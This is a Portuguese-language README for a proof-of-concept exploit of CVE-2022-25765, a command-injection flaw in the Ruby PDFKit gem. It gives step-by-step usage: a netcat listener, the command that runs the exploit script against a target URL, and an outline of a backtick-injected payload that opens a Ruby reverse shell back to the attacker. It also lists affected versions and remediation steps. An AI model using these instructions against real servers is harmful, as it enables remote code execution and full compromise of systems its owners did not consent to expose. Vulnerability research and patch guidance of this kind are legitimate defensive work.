Exploit CVE-2022-25765

Um pequeno exploit POC para CVE-2022-25765, PDFkit-CMD-Injection

Uso

1. Inicie um listener netcat na sua máquina de ataque:

   nc -lvnp 4444
   

2. Execute o exploit:

   python cve-2022-25765.py -t http://TARGET_IP:PORT -l YOUR_IP -p YOUR_PORT
   

Exemplo:

python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444

Parâmetros:

• -t, --target: URL alvo executando PDFKit vulnerável
• -l, --lhost: Seu endereço IP para a conexão de reverse shell
• -p, --lport: Sua porta para a conexão de reverse shell (deve corresponder ao seu listener netcat)

Informações da Vulnerabilidade

CVE ID: CVE-2022-25765 Pontuação CVSS v3.1: 9.8 (Crítico) Pontuação EPSS: 71.381% (percentil 99) CWE: CWE-77 - Neutralização Incorreta de Elementos Especiais usados em um Comando

Versões Afetadas

• Vulnerável: PDFKit 0.0.0 - 0.8.6
• Corrigido: PDFKit 0.8.7.2+

Descrição

O PDFKit é uma gem Ruby que converte HTML em PDF usando a ferramenta de linha de comando wkhtmltopdf. A vulnerabilidade existe na forma como o PDFKit lida com parâmetros de URL antes de passá-los para comandos do shell do sistema para a geração de PDF.

Detalhes Técnicos

A vulnerabilidade reside em lib/pdfkit/source.rb, onde a sanitização de URLs é implementada incorretamente:

def shell_safe_url
  url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end

O Problema:

1. O PDFKit usa uma lógica falha para determinar se uma URL precisa de escape
2. Metacaracteres de shell (crases, ponto e vírgula, pipes, etc.) podem contornar essa verificação
3. URLs não sanitizadas são passadas diretamente para comandos de shell que invocam o wkhtmltopdf
4. Atacantes podem injetar comandos arbitrários que são executados no servidor

Vetor de Ataque:

• Complexidade: Baixa
• Privilégios Necessários: Nenhum
• Interação do Usuário: Nenhuma
• Acesso à Rede: Necessário

Como Este Exploit Funciona

Este PoC explora a vulnerabilidade ao:

1. Injetar uma URL maliciosa contendo substituição de comando com crases
2. O payload: http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'
3. O PDFKit não sanitiza as crases no parâmetro de URL
4. Quando o wkhtmltopdf processa a URL, o shell executa o reverse shell em Ruby
5. O sistema alvo conecta de volta ao listener do atacante

Impacto

• Confidencialidade: Alta - Acesso completo ao sistema
• Integridade: Alta - Capacidade de modificar qualquer arquivo
• Disponibilidade: Alta - Potencial para interrupção do sistema

Pré-requisitos para Exploração Bem-sucedida

No Sistema Alvo:

• Versão vulnerável do PDFKit (< 0.8.7.2)
• Ruby instalado (necessário para o payload de reverse shell)
• A aplicação aceita URLs controladas pelo usuário passadas para o PDFKit
• Sem filtragem de egresso bloqueando conexões de saída

Remediação

1. Atualize o PDFKit para a versão 0.8.7.2 ou posterior
2. Validação de Entrada: Implemente uma lista de permissões estrita para entradas de URL
3. Sandboxing: Execute os processos do PDFKit em contêineres isolados com privilégios mínimos
4. Segmentação de Rede: Restrinja conexões de saída dos serviços de geração de PDF
5. Regras de WAF: Implante regras para detectar metacaracteres de shell em parâmetros de URL

Referências

• NVD - CVE-2022-25765
• GitHub Advisory GHSA-rhwx-hjx2-x4qr
• PDFKit Issue #507
• RubySec Advisory